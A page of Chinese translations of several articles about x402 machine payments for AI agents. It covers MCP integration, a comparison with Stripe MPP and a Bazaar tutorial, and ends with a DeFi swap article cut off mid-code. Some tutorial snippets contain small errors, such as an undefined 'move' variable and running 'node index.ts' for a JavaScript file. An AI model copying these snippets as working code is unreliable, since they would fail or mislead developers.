有人使用 Claude 报税，通过 x402 支付了 $3.80 的 USDC，并将报税表通过实体邮件寄给了 IRS——全程无需触碰任何表格。

随后的一句评价是："base + x402 + claude = 不可阻挡的技术栈。"

这不是一个演示。它已经在生产环境中运行。本文将介绍当你将 Claude Code、MCP 和 x402 结合在一起时会发生什么，以及为什么这代表了 API 商业化方式的结构性转变。

1、为什么 MCP 和 x402 天生一对

MCP（Model Context Protocol，模型上下文协议）由 Anthropic 开发，是 AI 代理调用外部工具的标准。Claude Code 使用 MCP 服务器来访问数据库、API 和外部服务。

x402 是构建在 HTTP 之上的支付层。服务器返回带有价格的 HTTP 402 状态码，代理用 USDC 支付，然后重试。无需表单、无需 API 密钥、无需订阅。

将它们结合起来，流程如下：

Claude calls a tool via MCP
  ↓
MCP server sends HTTP request to paid API
  ↓
API returns 402 Payment Required ($0.01 USDC)
  ↓
MCP server pays automatically from wallet
  ↓
API returns 200 OK + data
  ↓
Claude continues the task

任何步骤都不需要人类批准。只要钱包有余额且支出在预算策略范围内，Claude 就会端到端地处理一切。

报税示例使用了 PostalForm——在发布时就与 MPP/x402 集成的服务之一。Claude 起草了报税表，通过 x402 支付了邮寄服务费用，PostalForm 通过 USPS 将其寄给了 IRS。人类的角色仅仅是：输入指令。

2、架构

Coinbase 的官方文档包含一个可运行的 MCP + x402 示例。结构非常简单。

Claude Desktop / Claude Code
      ↓ tool call
MCP Server (x402 client)
      ↓ HTTP request
Paid API (x402-enabled endpoint)
      ↓ 402 Payment Required
MCP Server pays automatically in USDC
      ↓ 200 OK + data
Result returned to Claude

客户端实现非常简洁：

import { wrapAxiosWithPayment } from "@x402/axios";
import { x402Client } from "@x402/core/client";
import { registerExactEvmScheme } from "@x402/evm/exact/client";
const client = new x402Client();
registerExactEvmScheme(client, { signer: evmSigner });
// Every axios request now handles x402 automatically
const httpClient = wrapAxiosWithPayment(axios.create(), client);
// Write normal HTTP requests — 402 responses are handled transparently
const data = await httpClient.get("https://api.example.com/paid-endpoint");

服务端同样简洁：

// Hono example — x402-enabled endpoint
import { paymentMiddleware } from "x402-hono";
app.use(
  paymentMiddleware(
    process.env.WALLET_ADDRESS,
    {
      "/api/data": {
        price: "$0.01",
        network: "base-sepolia",
      },
    },
    { url: "https://x402.org/facilitator" }
  )
);
app.get("/api/data", (c) => {
  return c.json({ result: "paid content" });
});

3、Claude Code 设置提示词

将以下内容粘贴到 Claude Code 中，即可搭建一个支持 x402 的 MCP 服务器：

# Set up an x402-enabled MCP server
## Goal
Build an MCP server that can access paid APIs using the x402 protocol.
When Claude calls an MCP tool, payment should be handled automatically
via x402 — no human intervention at payment time.
## Stack
- TypeScript
- @x402/axios (client-side payment automation)
- @x402/evm (Base/EVM support)
- @modelcontextprotocol/sdk (MCP server)
## Steps
### 1. Install dependencies
npm install @x402/axios @x402/core @x402/evm @modelcontextprotocol/sdk axios viem
### 2. Environment variables (.env)
EVM_PRIVATE_KEY=0x...     # Private key of wallet holding USDC on Base
RESOURCE_SERVER_URL=https://api.example.com
ENDPOINT_PATH=/paid-endpoint
### 3. Implement the MCP server
Spec:
- Tool name: get_paid_data
- Description: Fetch data from an x402-priced API
- Payment is handled automatically by @x402/axios
- Use EVM wallet on Base mainnet with USDC
- On 402 response: auto-pay and retry
### 4. Register with Claude Desktop
Add to claude_desktop_config.json:
{
  "mcpServers": {
    "x402-demo": {
      "command": "node",
      "args": ["./dist/mcp-server.js"],
      "env": {
        "EVM_PRIVATE_KEY": "<your-private-key>",
        "RESOURCE_SERVER_URL": "<api-url>"
      }
    }
  }
}
### 5. Test
Ask Claude: "Use the get_paid_data tool to fetch data."
Check the X-Payment-Settled header to confirm the transaction amount.
## Reference
- Official example: https://github.com/coinbase/x402/tree/main/examples/typescript/clients/mcp
- Docs: https://docs.cdp.coinbase.com/x402/mcp-server

4、被消除的体验摩擦

传统的 API 访问流程：

1. 注册账户
2. 添加信用卡
3. 生成 API 密钥
4. 选择定价方案
5. 管理月度账单

整个流程是为使用浏览器的人类设计的。自主代理无法填写表单、无法选择方案、无法管理仪表盘。

x402 × MCP 消除了这一切。代理调用 API → 返回 402 → 发送支付 → 收到数据。无需注册、无需 API 密钥、无需管理订阅。

关于范围的澄清：x402 不处理订阅、开票、客户管理、税务合规或退款争议。它是一个协议级别的按请求支付原语。这是一个深思熟虑的设计决策——面向人类的管理留在 Stripe 上，自主的按请求支付运行在 x402 上。

5、你现在可以构建什么

自主研究 给 Claude 一个研究任务。它通过 MCP 调用多个数据 API，通过 x402 每次调用支付几分钱，并返回一份完整的报告。无需预先注册每个 API 提供商。

无需订阅即可访问付费内容 按使用次数访问付费内容或专业数据源。Claude 支付并获取——无需人类先设置订阅。

物理世界操作（PostalForm 示例）支持 x402 的服务可以触发物理操作——打印、邮寄、订购——这些操作可以像其他 API 一样从 Claude 调用。"起草这个并邮寄出去"变成了一条完全执行的单一指令。

6、预算控制

自主支出引发了一个显而易见的担忧。答案在于 upto 方案和策略引擎。

upto 方案：代理预先签署一个 $5.00 的上限。服务器只收取实际消费的金额。Permit2 合约使过度收费在技术上不可能实现。

策略引擎（Coinbase CDP）：

{
  maxAmountPerTransaction: "1.00",  // $1 per call max
  dailyLimit: "10.00",              // $10 per day total
  allowedRecipients: [
    "0xAbCd...1234"                 // only this address
  ]
}

没有余额 → 代理停止。超出策略 → 代理停止。这就是预算约束自主代理的架构。

7、客观评估

兼容 x402 的 API 仍然有限。目前支持 x402 的日语服务基本为零。LangChain、CrewAI 和 Claude 的 MCP 生态系统已将 x402 适配器作为标准配置，但供应端——接受 x402 的 API——仍处于早期阶段。

结构性正在发生变化的是：随着 Claude Code 的成熟和 MCP 工具使用的增长，API 提供商面临一个新问题。你是想让 AI 代理能够访问你的服务，还是仅限于拥有计费账户的人类？x402 是实现前者的最简路径。

报税故事只是规模化后的一个缩影。一个能够处理完整工作流——起草、支付、发送——而无需在每个步骤进行人工干预的代理。实现这一切的基础设施今天已经存在。

原文链接: Claude Code × x402: Why MCP and x402 Belong Together

DefiPlot翻译整理，转载请标明出处

直到最近，API 收费的方式几乎只有一种：Stripe 订阅、API 密钥和月度发票。当注册的是人类开发者时，这个模式运作得很好。但 AI 代理不会填表，也不会管理计费仪表盘。

两种新协议正在竞相解决这个问题：

• Coinbase 的 x402 将支付直接嵌入 HTTP 请求，无需账户，无需设置。
• Stripe 的机器支付协议（Machine Payments Protocol，MPP），于 2026 年 3 月 18 日随 Tempo 主网推出，采用了一种不同的方法：基于会话的流式支付，并内置了 Stripe 的合规体系。

如果你正在构建或商业化 MCP 工具，这就是你现在需要做的决策。本文将详细介绍这两种协议，在开发者体验、成本、安全性和生态成熟度方面进行比较，并讨论传统计费在哪些场景仍然适用。

1、为什么传统计费模式不适用于 AI 代理

AI 代理在代我们执行任务方面已经变得非常出色：调用 API、查询数据库、编排多步骤工作流。但当代理需要为一个它未被预配置使用的服务付费时，整个体验就会崩溃。

传统流程（注册账户、生成 API 密钥、配置计费、管理订阅）是为使用浏览器的人类设计的。它需要有人创建客户账户、输入信用卡信息并管理仪表盘。自主代理无法做到其中任何一项。成本结构也不匹配：Stripe 的标准信用卡处理费约为每笔交易 2.9% + $0.30，这使得低于约 $1 的按请求计费变得不经济。当你的 MCP 工具每次调用收费 $0.01 时，$0.30 的固定费用是行不通的。

传统计费仍然有其用武之地。订阅、企业合同、开票、合规：这些都不会消失。如果你面向的是需要仪表盘和收据的人类团队，Stripe 的核心平台仍然是最佳选择。我们会在本文末尾再讨论它的适用场景。

但对于代理原生用例（自主发现、按请求微支付、无人类参与），2026 年真正的选择在两个专用协议之间：x402 和 Stripe 的 MPP。

2、x402：开放、简单的选择

x402 是一个开放协议（Apache 2.0，由 Coinbase 和 Cloudflare 共同创立的 x402 基金会治理），它重新利用了长期休眠的 HTTP 402（"Payment Required"）状态码。流程极其精简：

1. 客户端请求受保护的资源。
2. 服务器响应 HTTP 402 和机器可读的支付指令（价格、代币、链、收款钱包）。
3. 客户端在链上支付（通常是 Base 或 Solana 上的 USDC），将支付证明附加到重试请求中。
4. 服务器验证结算并返回响应。

无需账户、API 密钥或订阅。支付收据就是凭证。

对于 MCP 服务器，Vercel 构建了 x402-mcp：一个将 x402 协议封装到 Vercel AI SDK 中的 npm 包。它引入了 paidTool 原语，让你可以为任何 MCP 工具声明价格并在执行前要求支付。实际使用效果如下：

import { createPaidMcpHandler } from "x402-mcp";
import z from "zod";

const handler = createPaidMcpHandler(
  (server) => {
    server.paidTool(
      "weather_lookup",
      { price: 0.001 },                          // $0.001 per call
      { location: z.string() },
      async ({ location }) => {
        // your tool logic here
        return { temperature: 72, conditions: "sunny" };
      }
    );
  },
  { recipient: process.env.WALLET_ADDRESS }
);

export { handler as GET, handler as POST };

这是一个完整的付费 MCP 工具：模式验证、定价和支付执行都在一个声明中完成。在客户端，一个简单的包装器就能实现自动支付处理：

import { experimental_createMCPClient as createMCPClient } from "ai";
import { withPayment } from "x402-mcp";

const mcpClient = await createMCPClient({
  transport: new StreamableHTTPClientTransport(url),
}).then((client) => withPayment(client, { account }));

const tools = await mcpClient.tools();  // paid tools just work

虽然 x402-mcp 是在 MCP 中使用 x402 最便捷的方式，但协议本身与框架无关，拥有适用于 Express、Hono、Next.js 等框架的中间件。

x402 不是一个完整的支付平台。它不处理订阅、开票、客户管理、税务合规或退款争议。它是一个协议级别的按请求支付原语。

3、Stripe MPP：高吞吐量、内置合规的选择

MPP 于 2026 年 3 月 18 日随 Tempo 主网一同推出，由 Stripe 和 Tempo 共同编写。x402 要求每个请求进行一次区块链交易，而 MPP 引入了会话的概念：代理预先授权一个消费限额，然后持续对该会话流式支付微付款，无需为每次调用单独进行链上交易。

这对高频场景非常重要。如果你的代理每小时查询数据源数千次，你不会希望每次都签名并广播链上交易。会话通过聚合支付并批量结算来解决这个问题。

Tempo 的链是为此专门构建的。它每秒处理数万笔交易，具有亚秒级最终性，并且没有原生 Gas 代币；费用以稳定币支付。MPP 流入 Stripe 现有的 PaymentIntents API，因此商家可以获得欺诈检测（Radar）、税务处理和报告功能。

MPP 还与 Stripe 的 共享支付令牌（Shared Payment Tokens，SPTs）协同工作，意味着通过 MPP 支付的代理可以使用 Tempo 上的 USDC 或用户关联的 Visa 卡。这种混合法币 + 加密货币的能力是该方案的独特优势。

4、x402 vs. Stripe MPP：正面比较

4.1 开发者体验

x402 在代理支付领域的入门门槛最低。使用 x402-mcp 包，你只需定义一个带有价格的 paidTool，指向一个钱包地址，就完成了。在客户端，用 withPayment() 包装 MCP 客户端即可自动处理 402 握手。

MPP 需要 Stripe 集成，这意味着更多的设置工作（SDK、仪表盘、PaymentIntents）。但如果你已经在使用 Stripe，添加 MPP 更像是配置变更而非平台迁移。会话管理在客户端增加了一些复杂性，但作为回报，Stripe 处理结算、合规和报告。

4.2 定价模型

两种协议都针对按请求和微支付定价，但执行方式不同。

x402 将每个请求结算为独立的链上支付。简单、透明，但意味着每次调用都会产生区块链开销（尽管在 Base 上这个开销很小）。

MPP 在会话内聚合支付并批量结算。这使得它在高频场景中更高效，因为在数千次调用中每次交易的开销会累积。

4.3 成本结构

x402： Base 上的交易结算费用不到一分钱。没有平台费；只有名义上的区块链网络费用。一次 $0.01 的 API 调用总费用约为 $0.011。亚美分定价变得经济可行。

MPP： Tempo 没有原生 Gas 代币；费用以稳定币支付，设计上可以忽略不计。基于会话的聚合进一步降低了每次调用的开销。由于 MPP 结算进入 Stripe，商家获得 Stripe 的处理能力，但链上环节很便宜。

两者都比传统的信用卡处理便宜几个数量级。x402 和 MPP 之间的成本差异本身很小；更大的区别在于包含什么（MPP 捆绑了合规）与你需要自己构建什么（x402 留给你自己处理）。

4.4 安全与信任

这是两种方法在决策者眼中分歧最大的地方。

• x402 安全模型： 支付经过加密签名并在链上结算，提供最终性和透明度。没有退款；一旦支付，即已结算。但反面是：如果代理多付了钱或支付给了恶意端点，没有内置的追索机制。V2 规范（2025 年 12 月）引入了动态支付路由和模块化 SDK，扩展了功能但也引入了新的攻击面。动态路由意味着服务器告诉你的代理把钱发到哪里，如果不验证地址，就可能导致收款方被篡改。模块化 SDK 通过第三方插件引入了供应链风险。生产部署需要：收款方白名单、每个会话和每个代理的预算上限、速率限制、链验证，以及异常支出的监控。像 PaySentry 这样的工具正在涌现以填补这一空白，但该领域仍不成熟。
• Stripe MPP 安全模型： 会话提供内置的消费限额。Stripe 的合规体系（Radar 欺诈检测、PCI、税务）适用于 MPP 支付。SPTs 按商家、时间和金额限定凭证范围，防止代理支出失控。权衡在于对 Stripe 和 Tempo 作为中介的依赖。你信任他们的基础设施，而不是自己构建控制措施。

4.5 生态与采用：现实检验

两种方法背后的机构动力令人印象深刻。但实际使用数据讲述了一个更为克制的故事。

• x402： Coinbase 报告其 Agentic Wallets 基础设施累计处理了超过 5000 万笔交易。然而，链上分析描绘了更微妙的画面：截至 2026 年 3 月初，日交易量约为 131,000 笔交易，价值约 $28,000，平均支付 $0.20。大约一半似乎是测试或游戏化活动，而非真实商业活动。真实的生产用户包括 Neynar（社交数据查询）、Hyperbolic（GPU 推理）和 Token Metrics（加密分析）。x402 基金会（Coinbase + Cloudflare）以及被纳入 Google 的 AP2 倡议提供了强大的机构支持。Stripe 也提供原生 x402 集成，因此商家可以通过现有 Stripe 仪表盘接受 x402 支付。
• MPP： 2026 年 3 月 18 日刚发布几天。Tempo 列出了与 Anthropic、DoorDash、Mastercard、Nubank、OpenAI、Ramp、Revolut、Shopify、Standard Chartered 和 Visa 的合作。发布时支付目录中有超过 100 个服务，包括 Alchemy、Dune Analytics 和 Merit Systems。现在还太早没有有意义的交易量数据，而发布时的"合作"可能意味着从签署意向书到实际生产流量之间的任何程度。

两者都处于早期阶段。基础设施正由严肃的参与者铺设，但大规模的代理支付交易量仍在未来而非过去。

5、混合路径：结合 x402、MPP 和传统计费

对许多团队来说，正确的答案不是单一协议。最务实的架构是针对不同受众使用不同的支付路径：

• x402 用于进行一次性或低频调用的自主代理（无许可、无设置）
• MPP 用于受益于聚合和 Stripe 合规性的高频代理会话
• Stripe 传统 用于需要订阅、发票和仪表盘的人类客户

以下是混合中间件的实际实现方式（伪代码）：

async def authenticate(request):
    # Path 1: Stripe API key (human customer with subscription)
    api_key = request.headers.get("Authorization")
    if api_key and verify_stripe_key(api_key):
        record_stripe_usage(api_key)
        return "stripe_subscription"

    # Path 2: MPP session token (high-frequency agent)
    session = request.headers.get("X-MPP-Session")
    if session and verify_mpp_session(session):
        debit_session(session, tool_price)
        return "mpp"

    # Path 3: x402 payment receipt (autonomous agent, one-off)
    receipt = request.headers.get("X-Payment-Receipt")
    if receipt and verify_onchain(receipt):
        return "x402"

    # Path 4: no credentials; return 402 with payment options
    return Response(
        status=402,
        headers={
            "X-Payment-Amount": "10000",    # 0.01 USDC
            "X-Payment-Token": "USDC",
            "X-Payment-Chain": "base",
            "X-Payment-Address": "0xYourWallet...",
        },
    )

一个中间件，多种验证路径。人类团队获得发票和仪表盘。高频代理获得会话效率。一次性代理获得无许可访问。没有受众被排除在外。

这也是 Stripe 的立场：他们通过独立的集成路径支持 x402、MPP 和传统计费，所有结算都进入同一个商家仪表盘。他们的策略是拥有抽象层，让协议在底层竞争。如果你不想押注单一协议，以 Stripe 作为结算层可以保持你的选择开放。

如果你现在正在构建 MCP 服务器，这意味着：

• x402 是最快的起步方式。 通过 x402-mcp，paidTool 抽象简洁且 MCP 原生。如果你的工具执行离散的、有界的工作（搜索、查询、转换、生成），在每次调用上放置 $0.001 到 $0.01 的价格现在是一条现实的商业化路径，代码量极小。
• 如果你预期高频代理流量，MPP 值得关注。 如果你的 MCP 工具在每个会话中被调用数百次（数据源、监控、持续查询），基于会话的聚合避免了每次调用的区块链开销。Stripe 集成意味着你无需自己构建就能获得合规和欺诈防护。
• 你需要围绕 x402 自行构建运营基础设施。 如何处理退款？监控？失控代理支出的速率限制？密钥管理？这些在 x402 中都是你的问题。MPP 将大部分工作委托给 Stripe。
• 无论哪种方式，定价模式的转变都是真实的。 从订阅转向按请求计费改变了你对产品的思考方式。你不再销售访问权限；你在为单个工作单元定价。这需要了解你每次调用的成本、每次调用的价值，以及不同价格点的需求弹性。这更像是为无服务器函数定价，而不是为 SaaS 席位定价。
• 你的用户需要加密钱包（目前而言）。 x402 需要 Base 或 Solana 上的 USDC。MPP 需要 Tempo 上的 USDC（或通过 SPTs 使用法币）。对于开发者与开发者、代理与代理的场景，这越来越正常。对于主流采用，钱包入驻仍然是一个摩擦点，尽管 Coinbase 等公司的托管钱包解决方案正在缩小差距。

6、x402 和 MPP 常见问题

x402 真的会取代 API 密钥和订阅吗？

不会全面取代，可能也不会很快。x402 在自主的、按需工具访问这一特定场景中消除了对 API 密钥的需求。但订阅的存在是有原因的：它们为提供商提供可预测的收入，为消费者提供可预测的成本。特别是企业买家，重视约定定价和开票。更有可能的是，x402 开辟了一个新的访问层级（随意的、探索性的、代理驱动的），它与现有计费并存而非取代。可以将其理解为按次付费和流媒体订阅之间的关系：不同的消费模式对应不同的模型。

开发者体验在实践中如何比较？

对于按请求 MCP 工具支付这一狭窄场景，x402（通过 x402-mcp）要简单得多。五行服务器代码、一行客户端包装器，你就在收款了。MPP 增加了会话管理，但作为回报提供了 Stripe 的完整技术栈。开发者体验的问题实际上是：你实际需要支付技术栈的多少？如果答案是"按调用收费就行，其余的我自己处理"，x402 胜出。如果答案是"按调用收费加上欺诈防护、税务合规和报告"，MPP 胜出。

自主代理支付的真正安全风险是什么？

核心风险是拥有钱包访问权限的代理可以以机器速度花钱，包括在恶意或定价过高的端点上。对于 x402：V2 的动态路由意味着服务器告诉你的代理把钱发到哪里，如果你不验证地址，就可能导致收款方被篡改。基于会话的身份可能被劫持。模块化 SDK 通过第三方插件引入供应链风险。生产部署需要收款方白名单、每个会话和每个代理的预算上限、速率限制、链验证（防止 Gas 费操纵）以及异常支出模式的监控。MPP 的会话模型通过设计缓解了其中一些问题（内置消费限额、Stripe Radar），但引入了对 Tempo 和 Stripe 作为中介的信任依赖。

监管和税务影响呢？

x402 支付以 USDC 结算，这意味着你收到的是加密货币。根据你所在的司法管辖区，这具有税务报告影响（资本利得处理、收入确认、报告阈值）。如果适用，你还需要自行负责 KYC/AML 合规。x402 目前还没有 IETF RFC，这意味着多个实现可能会碎片化。MPP 通过 Stripe 结算，后者自动处理税务、合规和报告。如果你处于受监管的行业，MPP 在没有原始 x402 合规负担的情况下为你提供了微支付能力。

x402 只适用于加密原生团队吗？

越来越不是了。协议本身与支付网络无关，设计上将在未来支持非加密支付方式。但今天，生产实现在 Base 或 Solana 上的 USDC 中结算。Coinbase 等公司的托管钱包解决方案正在降低加密知识门槛，Stripe 自己的 x402 预览意味着你可以使用熟悉的 Stripe 工具接受 x402 支付。话虽如此，如果你的团队完全没有加密经验，预计在钱包管理、密钥安全和链上监控方面会有学习曲线。MPP 可能是更容易的入门路径，因为它将加密货币包装在 Stripe 熟悉的界面中。

x402 和 MPP 之外的竞争格局如何？

Google 的 AP2（Agents Payment Protocol）使用基于授权的系统，用户以细粒度控制委派消费权限。Visa 和 Mastercard 正在开发自己的代理支付标准，并计划使其成为 AI 代理交易的强制要求。学术研究（例如 2026 年 3 月的 A402 论文）正在提出更复杂的基于通道的协议，以解决 x402 的原子性限制。该领域仍处于早期和碎片化阶段；预计会有整合，但也预计 x402 的开放性和 MPP 的 Stripe 背书将使两者保持相关性。

采用程度有多真实？我应该等待吗？

交易量仍然很小。截至 2026 年 3 月初，x402 的日链上活动约为 131,000 笔交易，价值约 $28,000，其中相当一部分是测试活动。MPP 几天前刚发布；现在还没有真实数据。但基础设施正由严肃的参与者铺设（Coinbase、Cloudflare、Stripe、Tempo、Google、Visa）。问题不在于代理支付是否会变得重要；而在于何时。从 x402 开始成本低、承诺少（几行代码、一个钱包地址）。你可以随着需求的发展叠加 MPP 或传统 Stripe。当代理到来时做好准备几乎没有坏处。

7、结束语

截至 2026 年 3 月，代理支付领域有两种专用协议在不同的优势上竞争：

• x402 是最简单、最开放、最无许可的选择。适用于：按请求微支付、自主代理访问、无供应商锁定的架构，以及愿意自行管理安全和合规的团队。
• Stripe MPP 是内置企业合规的高吞吐量选择。适用于：高频代理会话、混合法币 + 加密支付，以及希望获得 Stripe 的欺诈检测、税务处理和报告而无需自行构建的团队。

这两者并不互斥。Stripe 通过不同的集成路径支持两者（加上传统计费），结算到同一个仪表盘。最有远见的团队会像对待计算基础设施一样对待支付协议选择：为每个工作负载选择合适的工具，并设计系统以支持不止一种。

代理支付的未来不是一个协议统治一切。它是一个分层模型，最优秀的团队会像选择技术栈中的其他一切一样慎重地选择支付基础设施。

原文链接: x402 vs. Stripe MPP: How to choose payment infrastructure for AI agents and MCP tools in 2026

DefiPlot翻译整理，转载请标明出处

大多数 API 市场仍然假设有人类参与其中——创建账户、添加银行卡、生成密钥、管理用量。这些摩擦是你的 AI 代理无法处理的。

Bazaar + x402 颠覆了这种模式。你的代理可以发现服务、收到带有支付详情的 HTTP 402（需要付费）响应、进行支付（通常使用 Base 上的 USDC）、携带支付证明重试相同的请求，然后 API 响应——无需账户，无需订阅。

在本文结束时，你将拥有一个可运行的演示，展示完整的端到端流程：列表 → 发现 → 402 → 支付 → 重试 → 使用。

1、你将构建什么

• 🧭 发布一个最小的 Bazaar 风格的列表，让你的代理可以发现
• 💳 模拟 x402 支付流程（HTTP 402 → 协调器结算 → 支付证明）
• 🔁 携带支付证明重试相同的请求，获取 付费 响应
• 🧪 所有操作在一个可在本地运行的 Node.js 脚本中完成

2、系统架构

Agent (buyer) ──> Bazaar catalog ──> Service endpoint
    │                                   │
    │ (Request)                          │ If unpaid:
    │──────────────────────────────────> │  returns HTTP 402 + payment details
    │                                    │
    │ --pay via Facilitator------------> Facilitator (verifies/settles, returns proof)
    │                                    │
    │ (Retry + proof header)            │
    └──────────────────────────────────> │ Returns the result

组件（快速概览）

• Bazaar：简单的发现层，返回包含名称、价格、资产、网络的列表信息。
• Service（服务）：你的 API 端点，要求按请求付费。如果未支付，它会返回 HTTP 402 和支付详情。
• x402 Facilitator（协调器）：验证/结算客户端的支付，并颁发你的服务可以信任的支付证明。
• Agent（代理）：一个精简的买方脚本，负责发现服务、调用服务、处理 402、通过协调器支付、携带证明重试并打印结果。

3、实现阶段

代码将分为两部分：卖方和买方。

3.1 项目设置

mkdir x402-baazar
cd x402-baazar

npm init -y

3.2 安装依赖

npm i @coinbase/cdp-sdk @coinbase/x402 dotenv express viem x402-express x402-fetch

我们将首先构建一个简单的石头-纸-剪刀端点。然后，我们将把它与 x402 集成，使每个请求都可以付费，并提供必要的配置以便在 Bazaar 中列出服务。创建一个名为 index.js 的文件。

3.3 使用 Express 设置端点

import express from "express";

const moves = ["rock", "paper", "scissors"];

function getOutcome(player, server) {
  if (player === server) return "draw";

  if (
    (player === "rock" && server === "scissors") ||
    (player === "paper" && server === "rock") ||
    (player === "scissors" && server === "paper")
  ) {
    return "win";
  }

  return "lose";
}

const app = express();
app.use(express.json());

app.post("/rps/play", (req, res) => {
  try {
    const { move } = req.body;

    if (!move || !moves.includes(move)) {
      res.status(400).send({
        error: "Move must be rock, paper, or scissors"
      });
      return;
    }

    const serverMove = moves[Math.floor(Math.random() * moves.length)];
    const outcome = getOutcome(move, serverMove);

    res.send({
      playerMove: move,
      serverMove,
      outcome
    });

  } catch (err) {
    res.status(500).send({ error: "Internal server error" });
  }
});

app.listen(4021, () => {
  console.log(`Server listening at http://localhost:4021`);
});

现在为上述端点设置 x402 和 Bazaar 所需的配置

// … existing imports
import { paymentMiddleware } from "x402-express";
import { facilitator } from "@coinbase/x402";

// after `app.use(express.json())`

app.use(
  paymentMiddleware(
    "0xB1De43C2Ca1195258FEE160adAcB1820c3776B7D",
    {
      "POST /rps/play": {
        price: "$0.001", // USDC testnet price
        network: "base",
        config: {
          name: "Rock-Paper-Scissors",
          description: "Pay to play a simple game of Rock-Paper-Scissors.",
          discoverable: true,
          inputSchema: {
            type: "object",
            properties: {
              move: {
                type: "string",
                enum: ["rock", "paper", "scissors"],
                description: "Your move"
              }
            },
            required: ["move"]
          },
          outputSchema: {
            type: "object",
            properties: {
              playerMove: { type: "string" },
              serverMove: { type: "string" },
              outcome: { type: "string" }
            }
          }
        }
      }
    },
    {
      facilitator
    }
  )
);

// before `app.post("/rps/play"…`

paymentMiddleware 将 x402 作为 Express 中间件集成到本项目中（在这里了解更多关于 Express 中间件的信息）。

它接受两个参数：

1. 收款地址 — 接收该端点付款的钱包地址。
2. Bazaar 配置 — 描述你在 Bazaar 目录中服务元数据，使 AI 代理可以发现它。

配置中的 discoverable 标志设置为 true，这确保你的 API 会自动列在 Bazaar 目录中。

注意：要使你的 API 可被 Bazaar 索引，你必须将其部署到公有云（例如 Railway、AWS 等），并确保它可以被公开访问。

接下来，让我们创建一个模拟买方的简单函数：

• 它查询 Bazaar 目录以列出可用的服务。
• 选择我们的石头-纸-剪刀服务。
• 在每次请求时支付 USDC 来玩游戏。

现在创建另一个名为 buyer.js 的文件，从列出目录开始：

const listCatalog = async () => {
  const response = await fetch(
    "https://api.cdp.coinbase.com/platform/v2/x402/discovery/resources"
  );

  const res = await response.json();
  console.log(res);
};

const run = async () => {
  const catalog = await listCatalog();
};

run();

这将返回一个对象数组：

{
 "items": […]
}

现在我们有了服务列表，在发起调用之前还需要设置一些前置条件：

钱包设置 — 我们需要一个钱包来支付服务费用。最快的选择是使用 CDP 钱包，它将所有复杂性抽象为两行代码。或者你也可以使用自己的钱包，但需要自己处理完整的 viem 配置。

发起 API 调用 — 有两种方式：

• 手动方式：使用 fetch 或 axios 调用 API，收到 402 Payment Required 响应，进行支付，然后重试。
• 自动方式：使用 CDP 封装的 fetch 或 axios，它们会自动处理整个支付流程。

在本教程中，我们将使用 x402-fetch 来封装 fetch。

import { CdpClient } from "@coinbase/cdp-sdk";
import dotenv from "dotenv";
import {
  wrapFetchWithPayment,
  decodeXPaymentResponse
} from "x402-fetch";

dotenv.config();

// Setup CDP account or bring your own wallet
const cdp = new CdpClient();
const cdpAccount = await cdp.evm.getAccount({
  name: "buyer-account"
});

// feel free to enable this in testnet, perks for using CDP 😅
// await cdp.evm.requestFaucet({
//   address: cdpAccount.address,
//   network: "base-sepolia",
//   token: "usdc"
// });

// providing x402 super power to our good old `fetch`
const fetchWithPayment = wrapFetchWithPayment(fetch, cdpAccount);

// … previous listCatalog function

const run = async () => {
  try {
    const catalog = await listCatalog();

    // choosing a service, assuming that it's our RPS API
    const service = catalog.items[0];

    const response = await fetchWithPayment(service.resource, {
      method: "POST",
      headers: {
        "Content-Type": "application/json"
      },
      body: JSON.stringify({ move })
    });

    const result = await response.json();
    console.log("Game result:", result);

    const paymentResponse = decodeXPaymentResponse(
      response.headers.get("x-payment-response")
    );

    console.log(paymentResponse);
  } catch (error) {
    console.log(error);
  }
};

run();

使用 fetchWithPayment 可以确保当 API 返回 402 Payment Required 时，支付会被自动处理并且请求会自动重试——因此你无需自己管理支付流程即可获得结果。

4、运行应用

卖方

node index.ts

买方

node buyer.js

你将看到：

1. 服务器启动
2. 买方发现服务
3. 第一次调用返回 HTTP 402 及支付详情
4. 测试网协调器颁发收据
5. 携带 X-PAYMENT 头重试
6. 服务器返回有效响应

5、从演示到生产环境的映射

• Bazaar UI 和目录：在生产环境中，这是一个带有评分、定价、延迟和网络信息的托管目录。你的代理会选择匹配预算和政策约束的服务提供商。
• x402：模式完全相同——服务对未支付请求返回 402，代理通过协调器完成结算，然后携带支付证明头重试完全相同的 HTTP 请求。
• 协调器：在生产环境中，你会使用 Coinbase 的默认协调器处理 Base 上的 USDC（或者运行自己的协调器/选择社区协调器）。它的职责是：验证支付并颁发你的服务可以信任的支付证明。
• 服务：你的 API 应该将 402 视为一份合约：明确指定金额、资产、网络、卖家和协调器 URL，然后在重试时验证协调器的支付证明后再返回数据。

6、加固与扩展

• 重放保护：将支付证明绑定到 paymentRequestId + 方法 + 路径 + 查询参数，并设置快速过期。注意：CDP 协调器默认设计已考虑这一点——提供 60 秒的支付和重试窗口。
• 分级响应：提供免费预览，对高分辨率/长时间运行收费。
• 动态定价：在 402 响应体中根据输入大小（如音频秒数、token 数）报价。
• 服务提供商切换：你的代理可以比较评分/价格/延迟，在工作流中途切换提供商，继续执行。
• 链上收据：包含交易哈希和协调器证明，将链下工作与链上支付锚定。

7、结束语

你刚刚运行了一个完整的、对代理友好的 Bazaar + x402 循环：发现服务，调用并收到 402 Payment Required 状态，通过协调器支付，携带证明重试，并获得付费结果——无需账户，无需订阅，按请求付费。

原文链接: Ship a 402-Powered API Bazaar with x402 — From Discovery to Paid Response in One Script

DefiPlot翻译整理，转载请标明出处

我一直在听到一种无休止的论调，说AI正在催生新一代"10倍开发者"。说实话，我想看看这是真有其事，还是只是为了搭建React组件和构建简单UI包装器而制造的营销噱头。当你在受控环境中生成可预测的脚本时，很容易看起来像一位魔法师。但在去中心化金融领域，合约托管的是真实价值。执行跨越多个链，状态是碎片化且异步的，失败不仅仅是孤立的控制台错误。它们会恶意地跨系统边界级联传播。我需要知道AI是否真的能帮助构建在对抗性、跨链现实中存活的系统。

1、我构建了什么

为了测试这一点，我坐下来构建了一个跨链兑换协议。我设计了两条执行路径：通过Uniswap V3路由的同链兑换，以及利用LayerZero消息传递的跨链兑换。架构很重，依赖几个核心组件：

• 路由合约： 决定执行路径的主要入口点。
• 金库合约： 处理托管和协议记账。
• 费用模块： 管理协议级别的计算和分配。
• 桥接适配器： 直接与LayerZero端点交互。

我实现的一个简化的路由函数看起来像这样：

function executeSwap(
    address tokenIn,
    address tokenOut,
    uint256 amount,
    uint16 dstChainId,
    bytes calldata payload
) external payable {
    if (dstChainId == block.chainid) {
        _swapLocal(tokenIn, tokenOut, amount);
    } else {
